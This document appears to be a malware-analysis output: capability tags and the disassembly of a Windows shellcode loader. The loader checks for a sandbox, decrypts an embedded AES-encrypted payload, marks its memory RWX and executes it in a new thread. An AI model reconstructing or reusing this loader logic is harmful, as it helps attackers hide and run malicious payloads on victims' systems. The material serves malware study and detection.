Function at 0x140001070
Capabilities:
Allocate or change rwx memory
Create new key via cryptacquirecontext
Create thread
Encrypt data using aes via winapi
Encrypt or decrypt via wincrypt
Hash data via wincrypt
Initialize hashing via wincrypt
Spawn thread to rwx shellcode
Terminate process

Disassembly:
sub rsp, 0x68
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x50], rax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov dword [rsp + 0x28], 0
xor edx, edx
mov rcx, rax
mov dword [rsp + 0x20], 4
mov r9d, 0x3000
mov r8d, 0x1256a0
call qword [sym.imp.KERNEL32.dll_VirtualAllocExNuma]
test rax, rax
je 0x14000137b
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FlsAlloc]
cmp eax, 0xffffffff
je 0x14000137b
lea rcx, str.___No_sandox_is_detected_decrypting_the_shellcode_n
call fcn.140001010
mov r9d, 0x18
mov dword [rsp + 0x30], 0x1256a0
xor r8d, r8d
mov dword [rsp + 0x20], 0xf0000000
xor edx, edx
lea rcx, [rsp + 0x38]
call qword [sym.imp.ADVAPI32.dll_CryptAcquireContextW]
test eax, eax
jne 0x140001120
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.Failed_in_CryptAcquireContextW___u__n
call fcn.140001010
mov ecx, 1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
mov rcx, qword [rsp + 0x38]
lea rax, [rsp + 0x40]
xor r9d, r9d
mov qword [rsp + 0x20], rax
xor r8d, r8d
mov edx, 0x800c
call qword [sym.imp.ADVAPI32.dll_CryptCreateHash]
test eax, eax
jne 0x140001164
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.Failed_in_CryptCreateHash___u__n
call fcn.140001010
mov ecx, 1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
mov rcx, qword [rsp + 0x40]
lea rdx, [0x14012a720]
xor r9d, r9d
lea r8d, [r9 + 0x10]
call qword [sym.imp.ADVAPI32.dll_CryptHashData]
test eax, eax
jne 0x1400011a1
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.Failed_in_CryptHashData___u__n
call fcn.140001010
mov ecx, 1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
mov r8, qword [rsp + 0x40]
lea rax, [rsp + 0x48]
mov rcx, qword [rsp + 0x38]
xor r9d, r9d
mov edx, 0x6610
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_CryptDeriveKey]
test eax, eax
jne 0x1400011e7
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.Failed_in_CryptDeriveKey___u__n
call fcn.140001010
mov ecx, 1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
mov rcx, qword [rsp + 0x48]
lea rax, [rsp + 0x30]
mov qword [rsp + 0x28], rax
xor r9d, r9d
mov qword [rsp + 0x60], rsi
xor r8d, r8d
lea rsi, [0x140005080]
xor edx, edx
mov qword [rsp + 0x20], rsi
call qword [sym.imp.ADVAPI32.dll_CryptDecrypt]
test eax, eax
jne 0x140001239
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.Failed_in_CryptDecrypt___u__n
call fcn.140001010
mov ecx, 1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
mov rcx, qword [rsp + 0x38]
xor edx, edx
mov qword [rsp + 0x70], rbx
call qword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.ADVAPI32.dll_CryptDestroyHash]
mov rcx, qword [rsp + 0x48]
call qword [sym.imp.ADVAPI32.dll_CryptDestroyKey]
xor ecx, ecx
mov edx, 0x1256a0
mov r8d, 0x3000
lea r9d, [rcx + 4]
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rbx, rax
test rax, rax
jne 0x140001296
lea rcx, str.____Failed_to_allocate_memory_for_shellcode_n
call fcn.140001010
lea ecx, [rbx + 1]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
mov rdx, rbx
lea rcx, str.___Memory_is_allocated_for_shellcode_at__p_n
call fcn.140001010
mov r8d, 0x1256a0
mov rdx, rsi
mov rcx, rbx
call sub.VCRUNTIME140.dll_memmove
lea r9, [rsp + 0x38]
mov edx, 0x1256a0
mov r8d, 0x40
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x1400012eb
lea rcx, str.____Failed_to_change_memory_protection_from_RW_to_RWX_n
call fcn.140001010
mov ecx, 1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
lea rcx, str.___Memory_protection_is_changed_for_RW_to_RWX_n
call fcn.140001010
lea rax, [rsp + 0x30]
mov dword [rsp + 0x30], 0
mov qword [rsp + 0x28], rax
xor r9d, r9d
mov r8, rbx
mov dword [rsp + 0x20], 0
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov rbx, rax
test rax, rax
jne 0x14000133f
lea rcx, str.____Failed_to_create_thread_for_shellcode_execution_n
call fcn.140001010
lea ecx, [rbx + 1]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
mov edx, dword [rsp + 0x30]
lea rcx, str.___Thread_with_id__lu_is_created_to_execute_the_shellcode_n
call fcn.140001010
mov edx, 0xffffffff
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rbx, qword [rsp + 0x70]
xor eax, eax
mov rsi, qword [rsp + 0x60]
mov rcx, qword [rsp + 0x50]
xor rcx, rsp
call fcn.1400013a0
add rsp, 0x68
ret
mov ecx, 1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3